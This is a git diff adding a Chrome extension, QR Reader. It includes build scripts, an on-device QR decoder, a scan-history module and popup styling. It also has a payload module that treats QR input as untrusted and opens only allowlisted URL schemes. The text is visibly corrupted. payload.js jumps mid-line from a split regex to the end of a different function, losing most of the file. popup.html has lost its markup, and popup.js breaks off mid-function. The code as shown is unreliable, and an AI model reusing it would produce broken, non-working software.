zXGxc-(`^Zamg&IHcsvKsA)k7<>&6GHuio`&l<*yV^q&_D+AgoQicYH~oa{6>5$(05#+V9ol;|5aNS?TJvj>#?N$d(WDCPUOMQk+oldB@n-OyZPjJ8}Lx7Blm22^tZ z0yQtwNTNdQCEdrdJ=&ufO0X!0C%@p$CEKC>n86GUD2@BhN;T~EjkcUTHTi&n8#3;hNsB9 zASdl?=}jk&1js_J&fFlD@~8Xq9dDT?CEDt@0Ic5<>KqTRfnm?K_4 zPgiPSpXO4rcE6Ols?TAZ`P@tk!~`tROwlSWn^>ni!h0m!{Licz@`Q$4k^1_n&W*u_ zu;zAuN1rVbG2}E=ML~bXtX8V?1$}ni`fJcl7vI>VQ4o2uVN6-#+hbL8HEZw2xz((X`b*%a z)vo~hm1ktV?6#<#g;3xlJ5Y$gMQPN96TGWF^6R zu0_}yO0Ye^n9`FwDQ%MEAA3C0XhXPu;G(yDVg#$3$ZR0XSS(y~Z#eMGC2Ot-rM&fD z=2|=}EH3n+tv^`jfqSj8p%02nQz-9?pk&`56oO&2YVX`=#%Hp&2ySI#)~6!kuCCa- zXh!=Uk}_AJe)zFpfP|^>ElLj;R>LciD*LN}52=C@9j%)*)yO@c+t~U(HVk#={SqmA zP@J?i@N4KZA#Xz#Z}a+_i>A8fSeMJ`?B5ymj2#U*W}l9HX?@rSK2STSbMZt03CK~@ zT&E{!2@BNh5(*se%{9~coP9tnc`8LU#x8el4>~^<+Pc~j@!0Ct_Bf(lRGVeE#Q!VL z)J$&E6nb(KGw7@~jtI1O`X*w43u_8G$GrG_dLfo^yR4>n3%=V`op*Ln-K!|=fS9!##*Mqag~@z6WAb@)Ruinm!odUCw|)%Q zlaKlbZ{ybI_b#asxDpF;9?ISy3Hm6+D_g3Yj1A^lUTD=+46m36dXs~R zo3x(=5bGIqUF45q@YANAYpcBT(!8U2CAUHac0iY2-ZayrbM+B)$}TW(^_}*|gU;ro zmB$0K)b3Y~(&*yR9epUeq<*{01Wo>6p(|5c^X8|w*#V!HwIANAycrE0OjEZ5L$|5n zdLL=}y4;}WAgI(g=1<1v(vhlGY^iC9MB;_ImfdYa-z5Gnx4d_-AeHaBzyOhMt6@hw zaKt)*KcMbm4l{22U6X%Y6088AKoO$bznCeuIrf(BOT}{X;^Zg{p|j|{=5rPnA}BsF z+!!-!H59-(;a!H5JP!WFI7LZFnf#O{8Obpj2=(9M1Z$p6p(FJK^Wm13!pEyGDy0lh;9>v^tRqBD85Bs>( zlM_f?FT0{ecGqcyqB-+C_m>pL0LY((@&KH&%TM<5&@QKUhG=U~S;{^?OlE$V$546o@`cr=-%?1s~+R z&mDDFa^biC9wt+S1r6Q>L#R8s6J1GUzz2KuXK&@Bd%OAYK1pGG1zE$`wK3b7(Cvp5 zMi$Sm9tW1P4%a?)R_IJ(vzi*C)7D64HBq`A%)^CM&a6aO5D7;XNLl^Lbt*)r!n+m5yQ>@>iG-=3>#49+C3I1l?Ds+Vwq}*^A6V6 z5VdDFV0MlL9$3Uyb!!&Vr%Zr(Pz2z$(DdiwbmDb z=P%oT+sx45G#p{Bv*uTC)7zciuN09ON8Dj3e01{!4_3J{YC!db5wMEC#`<_EO@Yo$ z{sA=D6tf*)fr%cl?jkI8~cXI)xk#sZE%s15PB z*OPF0iV?!~M~3fl@A}w7df&djr}S!o66>$%546zH1vSrDEALte_<4jC1g~-OFx@x5 z_iD?|wA$>40=9+p`!6=HAJnMGKOn^gLyLgRVGqLCF}TdkwpM(@ioBu<=>1SwyO^OoWD_vGYo3L&)`b?EVJ|9HYPfr@1>bfYssT}4N^ JT+t%r{{Rsu-N66= diff --git a/scripts/icons.mjs b/scripts/icons.mjs new file mode 100644 index 0000000..2280328 --- /dev/null +++ b/scripts/icons.mjs @@ -0,0 +1,20 @@ +/** + * Regenerate icons/icon-*.png from icons/icon.svg. + * + * The PNGs are committed so that `Load unpacked` works straight from a clone; + * run `npm run icons` after editing the SVG. + */ +import { fileURLToPath } from 'node:url'; +import { readFileSync } from 'node:fs'; +import path from 'node:path'; + +import sharp from 'sharp'; + +const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); +const source = readFileSync(path.join(root, 'icons/icon.svg')); + +for (const size of [16, 32, 48, 128]) { + const out = path.join(root, `icons/icon-${size}.png`); + await sharp(source, { density: 600 }).resize(size, size).png({ compressionLevel: 9 }).toFile(out); + console.log(`wrote ${path.relative(root, out)}`); +} diff --git a/scripts/package.mjs b/scripts/package.mjs new file mode 100644 index 0000000..3807b2d --- /dev/null +++ b/scripts/package.mjs @@ -0,0 +1,38 @@ +/** + * Build a Chrome Web Store upload: dist/qr-reader-.zip. + * + * Only the files the extension actually loads go in — no tests, no tooling, no + * README screenshots — so the reviewed bundle matches the shipped bundle. + */ +import { execFileSync } from 'node:child_process'; +import { fileURLToPath } from 'node:url'; +import { mkdirSync, readFileSync, rmSync, existsSync } from 'node:fs'; +import path from 'node:path'; + +const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); +const manifest = JSON.parse(readFileSync(path.join(root, 'manifest.json'), 'utf8')); + +const CONTENTS = ['manifest.json', 'src', 'icons', 'vendor', 'LICENSE']; + +for (const entry of CONTENTS) { + if (!existsSync(path.join(root, entry))) { + throw new Error(`missing from the bundle: ${entry}`); + } +} + +const distDir = path.join(root, 'dist'); +const zipPath = path.join(distDir, `qr-reader-${manifest.version}.zip`); + +mkdirSync(distDir, { recursive: true }); +rmSync(zipPath, { force: true }); + +execFileSync( + 'zip', + ['-r', '-q', '-X', zipPath, ...CONTENTS, '-x', '*.DS_Store', 'icons/icon.svg'], + { + cwd: root, + stdio: 'inherit', + }, +); + +console.log(`packaged v${manifest.version} → ${path.relative(root, zipPath)}`); diff --git a/src/decoder.js b/src/decoder.js new file mode 100644 index 0000000..e005170 --- /dev/null +++ b/src/decoder.js @@ -0,0 +1,147 @@ +/** + * QR decoding, entirely on-device. + * + * Two engines, tried in order: + * 1. The native Barcode Detection API, when Chrome exposes it and reports + * support for `qr_code`. It is hardware-accelerated and by far the fastest + * path on a full-resolution screenshot. + * 2. jsQR (vendored, Apache-2.0), loaded lazily so its ~128 KB only enters + * memory on browsers or pages where the native detector is unavailable + * or comes up empty. + * + * Nothing here touches the network: a screenshot of the user's tab never + * leaves the machine. + */ + +/** Screenshots on HiDPI displays get large; decoding above this is wasted work. */ +const MAX_EDGE = 1600; + +/** @type {Promise | null} */ +let nativeDetectorPromise = null; + +/** @type {Promise | null} */ +let jsQRPromise = null; + +export class DecodeError extends Error { + /** @param {string} message @param {string} [code] */ + constructor(message, code = 'decode_failed') { + super(message); + this.name = 'DecodeError'; + this.code = code; + } +} + +function getNativeDetector() { + nativeDetectorPromise ??= (async () => { + if (!('BarcodeDetector' in globalThis)) return null; + try { + const formats = await globalThis.BarcodeDetector.getSupportedFormats(); + if (!formats.includes('qr_code')) return null; + return new globalThis.BarcodeDetector({ formats: ['qr_code'] }); + } catch { + return null; + } + })(); + return nativeDetectorPromise; +} + +function getJsQR() { + jsQRPromise ??= import('../vendor/jsqr.min.js').then((m) => m.default); + return jsQRPromise; +} + +/** + * @param {Blob} blob + * @returns {Promise} + */ +async function toBitmap(blob) { + try { + return await createImageBitmap(blob); + } catch { + throw new DecodeError('That file could not be read as an image.', 'bad_image'); + } +} + +/** + * Passes to try with jsQR, cheapest first. Downscaling rescues noisy or + * over-sharp screenshots; upscaling rescues codes that are only a few dozen + * pixels across, where the locator has too little to work with. + * + * @param {ImageBitmap} bitmap + * @returns {number[]} scale factors, relative to the MAX_EDGE-capped size + */ +function passesFor(bitmap) { + const longest = Math.max(bitmap.width, bitmap.height); + if (longest > MAX_EDGE) return [1, 0.5]; + if (longest < 500) return [1, 2]; + return [1, 0.5, 2]; +} + +/** + * Rasterise a bitmap at `scale`, capped so we never hand a needlessly huge + * buffer to the pure-JS decoder. + * + * @param {ImageBitmap} bitmap + * @param {number} scale + * @returns {ImageData} + */ +function rasterise(bitmap, scale) { + const longest = Math.max(bitmap.width, bitmap.height); + const factor = Math.min(1, MAX_EDGE / longest) * scale; + const width = Math.max(1, Math.round(bitmap.width * factor)); + const height = Math.max(1, Math.round(bitmap.height * factor)); + + const canvas = new OffscreenCanvas(width, height); + const ctx = canvas.getContext('2d', { willReadFrequently: true }); + ctx.imageSmoothingEnabled = factor < 1; + ctx.imageSmoothingQuality = 'high'; + ctx.drawImage(bitmap, 0, 0, width, height); + return ctx.getImageData(0, 0, width, height); +} + +/** + * Decode the first QR code found in an image. + * + * @param {Blob} blob + * @returns {Promise<{ text: string, engine: 'native' | 'jsqr' }>} + * @throws {DecodeError} when the image is unreadable or holds no QR code + */ +export async function decodeImage(blob) { + const bitmap = await toBitmap(blob); + + try { + const detector = await getNativeDetector(); + if (detector) { + try { + const [match] = await detector.detect(bitmap); + if (match?.rawValue) return { text: match.rawValue, engine: 'native' }; + } catch { + // A detector failure is not fatal — fall through to jsQR. + } + } + + const jsQR = await getJsQR(); + for (const scale of passesFor(bitmap)) { + const image = rasterise(bitmap, scale); + const match = jsQR(image.data, image.width, image.height, { + inversionAttempts: 'attemptBoth', + }); + if (match?.data) return { text: match.data, engine: 'jsqr' }; + } + } finally { + bitmap.close(); + } + + throw new DecodeError('No QR code found in this image.', 'not_found'); +} + +/** + * Decode a QR code from a `data:` URL, as produced by tab capture. + * + * @param {string} dataUrl + * @returns {Promise<{ text: string, engine: 'native' | 'jsqr' }>} + */ +export async function decodeDataUrl(dataUrl) { + const response = await fetch(dataUrl); + return decodeImage(await response.blob()); +} diff --git a/src/history.js b/src/history.js new file mode 100644 index 0000000..6782510 --- /dev/null +++ b/src/history.js @@ -0,0 +1,73 @@ +/** + * Scan history, persisted in `chrome.storage.local`. + * + * Local storage only — the list never syncs, because a scan history can contain + * Wi-Fi passwords and authenticator keys and has no business leaving the device. + */ + +const KEY = 'scans'; +const LIMIT = 100; + +/** + * @typedef {object} Scan + * @property {string} id + * @property {string} text The raw decoded payload. + * @property {number} at Unix ms. + */ + +function newId() { + return crypto.randomUUID(); +} + +/** @returns {Promise} newest first */ +export async function list() { + const stored = await chrome.storage.local.get(KEY); + const scans = stored[KEY]; + if (!Array.isArray(scans)) return []; + return scans.filter((s) => s && typeof s.text === 'string' && typeof s.at === 'number'); +} + +/** @param {Scan[]} scans */ +async function write(scans) { + await chrome.storage.local.set({ [KEY]: scans.slice(0, LIMIT) }); +} + +/** + * Record a scan. Re-scanning the same code moves the existing entry to the top + * and refreshes its timestamp rather than adding a duplicate row. + * + * @param {string} text + * @returns {Promise} + */ +export async function record(text) { + const scans = await list(); + const existing = scans.find((s) => s.text === text); + const entry = { id: existing?.id ?? newId(), text, at: Date.now() }; + await write([entry, ...scans.filter((s) => s.text !== text)]); + return entry; +} + +/** @param {string} id */ +export async function remove(id) { + const scans = await list(); + await write(scans.filter((s) => s.id !== id)); +} + +export async function clear() { + await chrome.storage.local.remove(KEY); +} + +/** + * "just now" / "4m" / "3h" / "6d" / a date once it stops being useful as a delta. + * + * @param {number} at Unix ms + * @returns {string} + */ +export function relativeTime(at) { + const seconds = Math.max(0, Math.round((Date.now() - at) / 1000)); + if (seconds < 45) return 'just now'; + if (seconds < 3600) return `${Math.round(seconds / 60)}m ago`; + if (seconds < 86400) return `${Math.round(seconds / 3600)}h ago`; + if (seconds < 604800) return `${Math.round(seconds / 86400)}d ago`; + return new Date(at).toLocaleDateString(undefined, { month: 'short', day: 'numeric' }); +} diff --git a/src/payload.js b/src/payload.js new file mode 100644 index 0000000..1064911 --- /dev/null +++ b/src/payload.js @@ -0,0 +1,211 @@ +/** + * Interpreting a decoded QR payload. + * + * A QR code is attacker-controlled input: anyone can print one and leave it on + * a poster. Two rules follow, and everything in this module exists to enforce + * them: + * + * 1. The payload is never handed to `innerHTML`, `eval`, or a navigation API + * without passing `resolveTarget()` first. + * 2. Only an explicit allowlist of URL schemes is ever openable. `javascript:`, + * `data:`, `blob:`, `file:` and `chrome:` payloads are shown as plain text + * and nothing more. + */ + +/** Schemes we are willing to hand to `chrome.tabs.create`. */ +const OPENABLE_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:', 'sms:', 'geo:']); + +/** Bare hostnames like `example.com/path` that people expect to just work. */ +const BARE_HOST = /^[a-z0-9-]+(\.[a-z0-9-]+)+(:\d+)?([/?#]\S*)?$/i; + +/** + * @typedef {object} Payload + * @property {'url' | 'email' | 'phone' | 'sms' | 'wifi' | 'geo' | 'contact' | 'otp' | 'text'} kind + * @property {string} label Human-readable type, for the result card's badge. + * @property {string} text The raw decoded string, verbatim. + * @property {string} preview What to show. May be redacted; never trust it to round-trip. + * @property {string|null} url A vetted, openable absolute URL, or null. + * @property {string} [note] Extra context worth surfacing (Wi-Fi security, OTP issuer…). + */ + +/** + * Parse a `KEY:value;KEY:value;;` structured payload (Wi-Fi, MeCard). + * + * @param {string} body + * @returns {Record} + */ +function parseFields(body) { + /** @type {Record} */ + const fields = {}; + // Split on unescaped semicolons; the format escapes literals with a backslash. + const parts = body.split(/(? max ? `${display.slice(0, max - 1)}…` : display; +} diff --git a/src/popup.css b/src/popup.css new file mode 100644 index 0000000..f01551e --- /dev/null +++ b/src/popup.css @@ -0,0 +1,601 @@ +/* --------------------------------------------------------------------------- + QR Reader — popup styling + + Warm, printed-paper palette: sand and ink rather than pure black-on-white, + a serif for headings, and soft warm shadows instead of hard hairlines. + Light and dark are both first-class; the toggle sets data-theme on + and `prefers-color-scheme` handles everything else. +--------------------------------------------------------------------------- */ + +:root { + color-scheme: light; + + --paper: #f6f2ea; + --paper-grain: rgba(120, 100, 70, 0.05); + --surface: #fffdf8; + --surface-sunk: #f1ebe0; + + --ink: #221f1a; + --ink-muted: #5c554b; + --ink-faint: #8d8578; + + --line: #e2d9c9; + --line-strong: #cfc3ad; + + --accent: #a8492a; + --accent-hover: #8e3c21; + --accent-tint: #f9ebe3; + --accent-ink: #fffaf5; + + --pine: #2f6a55; + --alarm: #a32f2f; + + --shadow-sm: 0 1px 2px rgba(78, 58, 30, 0.1); + --shadow-md: 0 6px 18px -8px rgba(78, 58, 30, 0.35); + --shadow-lift: 0 10px 30px -12px rgba(60, 44, 22, 0.45); + + --radius: 10px; + --radius-lg: 14px; + + --serif: ui-serif, 'Iowan Old Style', 'Palatino Linotype', Palatino, Georgia, serif; + --sans: system-ui, -apple-system, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; + --mono: ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas, monospace; +} + +@media (prefers-color-scheme: dark) { + :root:not([data-theme='light']) { + color-scheme: dark; + + --paper: #16150f; + --paper-grain: rgba(255, 236, 200, 0.035); + --surface: #201d17; + --surface-sunk: #1a1812; + + --ink: #f2ece0; + --ink-muted: #b6ad9d; + --ink-faint: #837b6d; + + --line: #322e25; + --line-strong: #443e32; + + --accent: #e0794f; + --accent-hover: #ee8a60; + --accent-tint: #2c1d15; + --accent-ink: #1a120c; + + --pine: #79b79c; + --alarm: #e07a70; + + --shadow-sm: 0 1px 2px rgba(0, 0, 0, 0.5); + --shadow-md: 0 6px 18px -8px rgba(0, 0, 0, 0.7); + --shadow-lift: 0 10px 30px -12px rgba(0, 0, 0, 0.8); + } +} + +:root[data-theme='dark'] { + color-scheme: dark; + + --paper: #16150f; + --paper-grain: rgba(255, 236, 200, 0.035); + --surface: #201d17; + --surface-sunk: #1a1812; + + --ink: #f2ece0; + --ink-muted: #b6ad9d; + --ink-faint: #837b6d; + + --line: #322e25; + --line-strong: #443e32; + + --accent: #e0794f; + --accent-hover: #ee8a60; + --accent-tint: #2c1d15; + --accent-ink: #1a120c; + + --pine: #79b79c; + --alarm: #e07a70; + + --shadow-sm: 0 1px 2px rgba(0, 0, 0, 0.5); + --shadow-md: 0 6px 18px -8px rgba(0, 0, 0, 0.7); + --shadow-lift: 0 10px 30px -12px rgba(0, 0, 0, 0.8); +} + +* { + box-sizing: border-box; +} + +/* Class selectors below set `display`, which would otherwise out-specify the + user-agent rule for [hidden] and leave "hidden" elements on screen. */ +[hidden] { + display: none !important; +} + +body { + width: 352px; + max-height: 580px; + margin: 0; + display: flex; + flex-direction: column; + overflow: hidden; + + font-family: var(--sans); + font-size: 13px; + line-height: 1.45; + color: var(--ink); + + background-color: var(--paper); + /* A faint grain so the surface reads as paper rather than a flat panel. */ + background-image: radial-gradient(var(--paper-grain) 1px, transparent 1px); + background-size: 4px 4px; +} + +h1, +h2 { + margin: 0; + font-family: var(--serif); + font-weight: 600; +} + +:focus-visible { + outline: 2px solid var(--accent); + outline-offset: 2px; + border-radius: 4px; +} + +/* --- masthead ----------------------------------------------------------- */ + +.masthead { + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + padding: 14px 16px 12px; + border-bottom: 1px solid var(--line); +} + +.wordmark { + display: flex; + align-items: center; + gap: 10px; +} + +.wordmark img { + border-radius: 6px; + box-shadow: var(--shadow-sm); +} + +.wordmark h1 { + font-size: 16px; + letter-spacing: 0.01em; +} + +.tagline { + margin: 1px 0 0; + font-size: 10.5px; + letter-spacing: 0.06em; + text-transform: uppercase; + color: var(--ink-faint); +} + +.ghost-icon { + width: 30px; + height: 30px; + display: grid; + place-items: center; + font-size: 15px; + color: var(--ink-muted); + background: transparent; + border: 1px solid transparent; + border-radius: 8px; + cursor: pointer; + transition: + background-color 0.15s, + color 0.15s, + border-color 0.15s; +} + +.ghost-icon:hover { + color: var(--ink); + background: var(--surface); + border-color: var(--line); +} + +/* Only the glyph for the active theme mode is drawn. */ +.glyph { + display: none; +} + +.ghost-icon[data-mode='auto'] .glyph-auto, +.ghost-icon[data-mode='light'] .glyph-light, +.ghost-icon[data-mode='dark'] .glyph-dark { + display: inline; +} + +/* --- main scroll region ------------------------------------------------- */ + +main { + flex: 1; + min-height: 0; + overflow-y: auto; + padding: 14px 16px 16px; + scrollbar-width: thin; + scrollbar-color: var(--line-strong) transparent; +} + +/* --- buttons ------------------------------------------------------------ */ + +.controls { + display: flex; + gap: 8px; +} + +.action { + flex: 1; + padding: 9px 14px; + font: inherit; + font-weight: 550; + color: var(--ink); + background: var(--surface); + border: 1px solid var(--line-strong); + border-radius: var(--radius); + box-shadow: var(--shadow-sm); + cursor: pointer; + transition: + transform 0.1s, + background-color 0.15s, + border-color 0.15s, + box-shadow 0.15s; +} + +.action:hover:not(:disabled) { + border-color: var(--ink-faint); + box-shadow: var(--shadow-md); +} + +.action:active:not(:disabled) { + transform: translateY(1px); + box-shadow: none; +} + +.action:disabled { + cursor: progress; + opacity: 0.6; + box-shadow: none; +} + +.action.primary { + flex: 2; + color: var(--accent-ink); + background: var(--accent); + border-color: color-mix(in srgb, var(--accent) 78%, #000); +} + +.action.primary:hover:not(:disabled) { + background: var(--accent-hover); + border-color: color-mix(in srgb, var(--accent-hover) 70%, #000); +} + +.action.small { + flex: none; + padding: 6px 12px; + font-size: 12px; +} + +.link-button { + padding: 2px 4px; + font: inherit; + font-size: 11.5px; + color: var(--ink-faint); + background: none; + border: 0; + border-radius: 5px; + cursor: pointer; + transition: color 0.15s; +} + +.link-button:hover { + color: var(--alarm); +} + +.assist { + margin: 10px 2px 0; + font-size: 11.5px; + color: var(--ink-faint); +} + +kbd { + padding: 0.5px 4px; + font-family: var(--sans); + font-size: 10.5px; + color: var(--ink-muted); + background: var(--surface); + border: 1px solid var(--line-strong); + border-bottom-width: 2px; + border-radius: 4px; +} + +/* --- status line -------------------------------------------------------- */ + +.status { + display: flex; + align-items: center; + gap: 8px; + margin-top: 12px; + padding: 9px 12px; + font-size: 12px; + color: var(--ink-muted); + background: var(--surface-sunk); + border: 1px solid var(--line); + border-radius: var(--radius); +} + +.status[data-tone='error'] { + color: var(--alarm); + border-color: color-mix(in srgb, var(--alarm) 35%, var(--line)); + background: color-mix(in srgb, var(--alarm) 7%, var(--surface-sunk)); +} + +.status::before { + content: ''; + flex: none; + width: 13px; + height: 13px; + border: 2px solid var(--line-strong); + border-top-color: var(--accent); + border-radius: 50%; + animation: spin 0.7s linear infinite; +} + +.status[data-tone='error']::before { + content: '!'; + display: grid; + place-items: center; + font-weight: 700; + font-size: 10px; + color: var(--alarm); + border-color: currentColor; + animation: none; +} + +@keyframes spin { + to { + transform: rotate(360deg); + } +} + +@media (prefers-reduced-motion: reduce) { + *, + *::before { + animation-duration: 0.01ms !important; + animation-iteration-count: 1 !important; + transition-duration: 0.01ms !important; + } +} + +/* --- result card -------------------------------------------------------- */ + +.result { + margin-top: 12px; + padding: 12px 13px 11px; + background: var(--surface); + border: 1px solid var(--line); + border-left: 3px solid var(--accent); + border-radius: var(--radius-lg); + box-shadow: var(--shadow-md); + animation: rise 0.18s ease-out; +} + +@keyframes rise { + from { + opacity: 0; + transform: translateY(4px); + } +} + +.result-head { + display: flex; + align-items: baseline; + justify-content: space-between; + gap: 8px; +} + +.badge { + font-size: 10px; + font-weight: 700; + letter-spacing: 0.09em; + text-transform: uppercase; + color: var(--accent); +} + +.engine { + font-size: 10px; + color: var(--ink-faint); +} + +.result-value { + margin: 6px 0 0; + max-height: 92px; + overflow-y: auto; + font-family: var(--mono); + font-size: 12px; + line-height: 1.5; + color: var(--ink); + overflow-wrap: anywhere; +} + +.result-note { + margin: 7px 0 0; + font-size: 11px; + color: var(--ink-muted); +} + +.result-actions { + display: flex; + gap: 7px; + margin-top: 11px; +} + +/* --- history ------------------------------------------------------------ */ + +.history { + margin-top: 20px; +} + +.history-head { + display: flex; + align-items: center; + justify-content: space-between; + padding-bottom: 6px; + border-bottom: 1px solid var(--line); +} + +.history-head h2 { + font-size: 12px; + font-weight: 600; + letter-spacing: 0.08em; + text-transform: uppercase; + color: var(--ink-faint); +} + +.history-list { + margin: 0; + padding: 0; + list-style: none; +} + +.history-item { + display: flex; + align-items: stretch; + gap: 2px; + border-bottom: 1px solid var(--line); +} + +.history-open { + flex: 1; + min-width: 0; + display: flex; + align-items: center; + gap: 8px; + padding: 9px 4px; + font: inherit; + text-align: left; + color: var(--ink); + background: none; + border: 0; + border-radius: 6px; + cursor: pointer; + transition: background-color 0.12s; +} + +.history-open:hover { + background: var(--surface); +} + +.history-kind { + flex: none; + width: 7px; + height: 7px; + border-radius: 50%; + background: var(--ink-faint); +} + +.history-kind[data-openable='true'] { + background: var(--pine); +} + +.history-text { + flex: 1; + min-width: 0; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 12.5px; +} + +.history-time { + flex: none; + font-size: 10.5px; + color: var(--ink-faint); + font-variant-numeric: tabular-nums; +} + +.history-delete { + flex: none; + width: 26px; + font-size: 16px; + line-height: 1; + color: var(--ink-faint); + background: none; + border: 0; + border-radius: 6px; + cursor: pointer; + opacity: 0; + transition: + opacity 0.12s, + color 0.12s, + background-color 0.12s; +} + +.history-item:hover .history-delete, +.history-delete:focus-visible { + opacity: 1; +} + +.history-delete:hover { + color: var(--alarm); + background: var(--surface); +} + +.empty { + margin: 14px 2px; + font-size: 12px; + font-style: italic; + color: var(--ink-faint); +} + +/* --- drop overlay ------------------------------------------------------- */ + +.dropzone { + position: fixed; + inset: 6px; + z-index: 20; + display: none; + place-items: center; + font-family: var(--serif); + font-size: 15px; + color: var(--accent); + background: color-mix(in srgb, var(--paper) 90%, transparent); + border: 2px dashed var(--accent); + border-radius: var(--radius-lg); + backdrop-filter: blur(2px); +} + +body.is-dragging .dropzone { + display: grid; +} + +/* --- toast -------------------------------------------------------------- */ + +.toast { + position: fixed; + left: 50%; + bottom: 14px; + z-index: 30; + padding: 6px 13px; + font-size: 12px; + color: var(--paper); + background: var(--ink); + border-radius: 100px; + box-shadow: var(--shadow-lift); + opacity: 0; + transform: translate(-50%, 8px); + pointer-events: none; + transition: + opacity 0.18s, + transform 0.18s; +} + +.toast.is-visible { + opacity: 1; + transform: translate(-50%, 0); +} diff --git a/src/popup.html b/src/popup.html new file mode 100644 index 0000000..1526f05 --- /dev/null +++ b/src/popup.html @@ -0,0 +1,117 @@ + + + + + QR Reader + + + +
+
+ +
+

QR Reader

+

Decoded on your device

+
+
+ +
+ +
+
+ + +
+

+ …or drop an image here, or press Ctrl+V to scan one from your + clipboard. +

+ + + + + +
+
+

Recent

+ +
+
    +

    Nothing scanned yet.

    +
    +
    + + +
    + + + + + + + diff --git a/src/popup.js b/src/popup.js new file mode 100644 index 0000000..140369d --- /dev/null +++ b/src/popup.js @@ -0,0 +1,299 @@ +/** + * Popup controller: wires the three ways of getting an image (tab capture, + * file, clipboard) to the decoder, and renders results and history. + * + * Every string that originates from a QR code reaches the DOM through + * `textContent`. There is no `innerHTML` in this file, and there should not be. + */ + +import { decodeDataUrl, decodeImage, DecodeError } from './decoder.js'; +import { classify, condense, resolveTarget } from './payload.js'; +import * as history from './history.js'; + +const THEME_KEY = 'theme'; +const THEMES = /** @type {const} */ (['auto', 'light', 'dark']); + +const els = { + scan: /** @type {HTMLButtonElement} */ (document.getElementById('scan')), + pick: /** @type {HTMLButtonElement} */ (document.getElementById('pick')), + file: /** @type {HTMLInputElement} */ (document.getElementById('file')), + theme: /** @type {HTMLButtonElement} */ (document.getElementById('theme')), + status: /** @type {HTMLElement} */ (document.getElementById('status')), + result: /** @type {HTMLElement} */ (document.getElementById('result')), + resultLabel: /** @type {HTMLElement} */ (document.getElementById('resultLabel')), + resultValue: /** @type {HTMLElement} */ (document.getElementById('resultValue')), + resultNote: /** @type {HTMLElement} */ (document.getElementById('resultNote')), + engine: /** @type {HTMLElement} */ (document.getElementById('engine')), + open: /** @type {HTMLButtonElement} */ (document.getElementById('open')), + copy: /** @type {HTMLButtonElement} */ (document.getElementById('copy')), + historyList: /** @type {HTMLElement} */ (document.getElementById('historyList')), + historyEmpty: /** @type {HTMLElement} */ (document.getElementById('historyEmpty')), + clear: /** @type {HTMLButtonElement} */ (document.getElementById('clear')), + row: /** @type {HTMLTemplateElement} */ (document.getElementById('historyRow')), + toast: /** @type {HTMLElement} */ (document.getElementById('toast')), +}; + +/** Payload currently shown in the result card, if any. */ +let current = null; +let busy = false; + +/* --- chrome-facing helpers ------------------------------------------------ */ + +/** + * Turn a capture failure into something a person can act on. Chrome refuses to + * screenshot its own pages and the Web Store, and says so only in prose. + * + * @param {unknown} error + * @returns {string} + */ +function captureMessage(error) { + const detail = error instanceof Error ? error.message : String(error); + if (/cannot be scripted|cannot access|extension manifest|chrome:\/\//i.test(detail)) { + return 'Chrome blocks screenshots of this page. Try it on a normal website.'; + } + if (/activeTab|permission/i.test(detail)) { + return 'No permission to capture this tab. Reopen the popup and try again.'; + } + return 'Could not capture this tab.'; +} + +/** @param {string} url */ +async function openUrl(url) { + await chrome.tabs.create({ url }); + window.close(); +} + +/* --- rendering ------------------------------------------------------------ */ + +/** + * @param {string | null} message + * @param {'busy' | 'error'} [tone] + */ +function setStatus(message, tone = 'busy') { + els.status.hidden = !message; + els.status.textContent = message ?? ''; + els.status.dataset.tone = tone; +} + +let toastTimer; + +/** @param {string} message */ +function toast(message) { + els.toast.textContent = message; + els.toast.classList.add('is-visible'); + clearTimeout(toastTimer); + toastTimer = setTimeout(() => els.toast.classList.remove('is-visible'), 1800); +} + +/** + * @param {import('./payload.js').Payload} payload + * @param {string} [engine] + */ +function showResult(payload, engine) { + current = payload; + els.resultLabel.textContent = payload.label; + els.resultValue.textContent = payload.preview; + els.resultNote.textContent = payload.note ?? ''; + els.resultNote.hidden = !payload.note; + els.engine.textContent = engine === 'native' ? 'native decoder' : engine ? 'jsQR' : ''; + els.open.hidden = !payload.url; + els.result.hidden = false; +} + +function clearResult() { + current = null; + els.result.hidden = true; +} + +async function renderHistory() { + const scans = await history.list(); + els.historyList.replaceChildren(); + els.historyEmpty.hidden = scans.length > 0; + els.clear.hidden = scans.length === 0; + + for (const scan of scans) { + const node = /** @type {DocumentFragment} */ (els.row.content.cloneNode(true)); + const open = /** @type {HTMLButtonElement} */ (node.querySelector('.history-open')); + const kind = /** @type {HTMLElement} */ (node.querySelector('.history-kind')); + const text = /** @type {HTMLElement} */ (node.querySelector('.history-text')); + const time = /** @type {HTMLElement} */ (node.querySelector('.history-time')); + const del = /** @type {HTMLButtonElement} */ (node.querySelector('.history-delete')); + + const payload = classify(scan.text); + text.textContent = condense(payload.preview); + text.title = payload.preview; + time.textContent = history.relativeTime(scan.at); + kind.dataset.openable = String(Boolean(payload.url)); + open.title = payload.url ? `Open ${payload.url}` : 'Copy to clipboard'; + + open.addEventListener('click', async () => { + if (payload.url) { + await openUrl(payload.url); + } else { + await copyText(scan.text); + } + }); + del.addEventListener('click', async () => { + await history.remove(scan.id); + await renderHistory(); + }); + + els.historyList.append(node); + } +} + +/* --- actions -------------------------------------------------------------- */ + +/** @param {string} text */ +async function copyText(text) { + try { + await navigator.clipboard.writeText(text); + toast('Copied to clipboard'); + } catch { + toast('Clipboard unavailable'); + } +} + +/** + * Run a decode, keeping the UI honest about progress and failure. + * + * @param {() => Promise<{ text: string, engine: string }>} decode + * @param {string} pendingMessage + */ +async function run(decode, pendingMessage) { + if (busy) return; + busy = true; + els.scan.disabled = true; + els.pick.disabled = true; + clearResult(); + setStatus(pendingMessage); + + try { + const { text, engine } = await decode(); + setStatus(null); + showResult(classify(text), engine); + await history.record(text); + await renderHistory(); + } catch (error) { + if (error instanceof DecodeError) { + setStatus( + error.code === 'not_found' + ? 'No QR code found. Make sure the whole code is visible, then try again.' + : error.message, + 'error', + ); + } else { + setStatus(captureMessage(error), 'error'); + } + } finally { + busy = false; + els.scan.disabled = false; + els.pick.disabled = false; + } +} + +function scanTab() { + return run(async () => { + const dataUrl = await chrome.tabs.captureVisibleTab({ format: 'png' }); + if (!dataUrl) throw new Error('capture returned nothing'); + return decodeDataUrl(dataUrl); + }, 'Capturing this tab…'); +} + +/** @param {Blob} blob */ +function 